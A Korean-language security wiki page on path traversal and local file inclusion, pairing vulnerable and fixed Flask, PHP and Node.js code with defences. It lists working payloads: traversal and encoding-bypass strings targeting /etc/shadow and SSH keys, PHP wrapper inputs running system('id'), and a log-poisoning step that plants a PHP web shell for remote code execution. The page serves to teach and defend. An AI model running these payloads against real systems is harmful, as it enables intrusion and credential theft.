전체 그래프
OWASP Top 10

Path Traversal

web-securityowasppath-traversallfiattack

상위: Web Security

요약

Path Traversal(경로 탐색, Directory Traversal)은 ../ 같은 경로 조작 문자를 이용해 웹 루트 외부의 파일에 접근하는 공격입니다. LFI(Local File Inclusion)와 밀접한 관련이 있습니다.

공격 원리

취약한 코드

@app.route('/download')
def download():
    filename = request.args.get('file')
    # 사용자 입력을 그대로 경로에 사용 (위험!)
    return send_file(f'/var/www/files/{filename}')

공격

정상: /download?file=report.pdf
공격: /download?file=../../../etc/passwd
서버 경로: /var/www/files/../../../etc/passwd
        = /etc/passwd

공격 페이로드

기본 공격

../../../etc/passwd
..\..\..\..\windows\system32\config\sam
....//....//....//etc/passwd

Linux 주요 파일

/etc/passwd              # 사용자 목록
/etc/shadow              # 비밀번호 해시
/etc/hosts               # 호스트 설정
/home/user/.ssh/id_rsa   # SSH 개인키
/home/user/.bash_history # 명령어 기록
/proc/self/environ       # 환경 변수
/var/log/apache2/access.log  #  로그

Windows 주요 파일

C:\Windows\system.ini
C:\Windows\win.ini
C:\Users\Administrator\.ssh\id_rsa
C:\inetpub\wwwroot\web.config

애플리케이션 설정 파일

/var/www/html/wp-config.php     # WordPress
/var/www/html/.env              # Laravel, Django
/app/config/database.yml        # Rails
/WEB-INF/web.xml               # Java

우회 기법

인코딩 우회

# URL 인코딩
..%2f..%2f..%2fetc%2fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# 더블 인코딩
..%252f..%252f..%252fetc%252fpasswd

# 16bit Unicode
..%u2216..%u2216..%u2216etc%u2216passwd

# UTF-8 Unicode
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd

Null Byte 우회 (PHP < 5.3)

../../../etc/passwd%00.jpg
../../../etc/passwd%00.pdf

필터 우회

# ../ 필터링 우회
....//....//....//etc/passwd
..../..../..../etc/passwd
..;/..;/..;/etc/passwd

# ..\ (Windows)
..\..\..\..\windows\win.ini
....\\....\\....\\windows\\win.ini

절대 경로 사용

/etc/passwd
file:///etc/passwd

LFI (Local File Inclusion)

PHP include 취약점

// 취약한 코드
include($_GET['page'] . '.php');

공격

?page=../../../etc/passwd%00
?page=php://filter/convert.base64-encode/resource=config
?page=data://text/plain,<?php system('id'); ?>

PHP Wrapper 활용

Wrapper용도예시
php://filter파일 내용 인코딩php://filter/convert.base64-encode/resource=config.php
php://inputPOST 데이터를 코드로 실행?page=php://input + POST: <?php system('id'); ?>
data://데이터를 코드로 실행data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
expect://명령어 실행expect://id
zip://ZIP 내 파일 포함zip://uploads/shell.zip#shell.php

Log Poisoning (LFI to RCE)

# 1. User-Agent에 PHP 코드 삽입
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# 2. 로그 파일 포함
?page=../../../var/log/apache2/access.log&cmd=id

취약한 코드 vs 안전한 코드

Python

취약:

@app.route('/download')
def download():
    filename = request.args.get('file')
    return send_file(f'/uploads/{filename}')

안전:

import os
from werkzeug.utils import secure_filename

@app.route('/download')
def download():
    filename = request.args.get('file')

    # 파일명만 추출 (경로 제거)
    filename = secure_filename(filename)

    # 기본 경로와 결합
    filepath = os.path.join('/uploads', filename)

    # 실제 경로가 허용된 디렉토리 내인지 확인
    if not os.path.realpath(filepath).startswith('/uploads/'):
        abort(403)

    return send_file(filepath)

PHP

취약:

include($_GET['page'] . '.php');
readfile('uploads/' . $_GET['file']);

안전:

// 화이트리스트 방식
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'];

if (!in_array($page, $allowed)) {
    die("Page not found");
}
include($page . '.php');

// 또는 basename 사용
$file = basename($_GET['file']);  // 경로 제거, 파일명만
readfile('uploads/' . $file);

Node.js

취약:

app.get('/file', (req, res) => {
    res.sendFile(__dirname + '/files/' + req.query.name);
});

안전:

const path = require('path');

app.get('/file', (req, res) => {
    const filename = path.basename(req.query.name);  // 파일명만
    const filepath = path.join(__dirname, 'files', filename);

    // 경로 검증
    if (!filepath.startsWith(path.join(__dirname, 'files'))) {
        return res.status(403).send('Forbidden');
    }

    res.sendFile(filepath);
});

방어 방법

1. 입력값 검증 (화이트리스트)

ALLOWED_FILES = ['report.pdf', 'manual.pdf', 'guide.pdf']

def download(filename):
    if filename not in ALLOWED_FILES:
        raise ValueError("허용되지 않은 파일")

2. 경로 정규화 후 검증

import os

def safe_path(base_dir, filename):
    # 경로 결합  정규화
    filepath = os.path.realpath(os.path.join(base_dir, filename))

    # 기본 디렉토리 내인지 확인
    if not filepath.startswith(os.path.realpath(base_dir)):
        raise ValueError("경로 탐색 시도 감지")

    return filepath

3. Chroot/Jail 사용

#  애플리케이션을 특정 디렉토리로 제한
os.chroot('/var/www/app')

4. 파일 ID 사용 (경로 대신)

# 직접 경로 대신 데이터베이스 ID 사용
@app.route('/download/<int:file_id>')
def download(file_id):
    file_info = File.query.get_or_404(file_id)
    # 권한 확인  전송
    return send_file(file_info.path)

테스트 페이로드

# 기본
../../../etc/passwd
..\..\..\..\windows\win.ini

# 인코딩
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd

# 필터 우회
....//....//etc/passwd
..;/..;/etc/passwd

# Null byte (구버전)
../../../etc/passwd%00.jpg

# PHP Wrapper
php://filter/convert.base64-encode/resource=config.php

테스트 도구

도구용도
dotdotpwnPath Traversal 자동화
Burp Suite수동 테스트
LFISuiteLFI 공격 자동화

관련 공격

참고 자료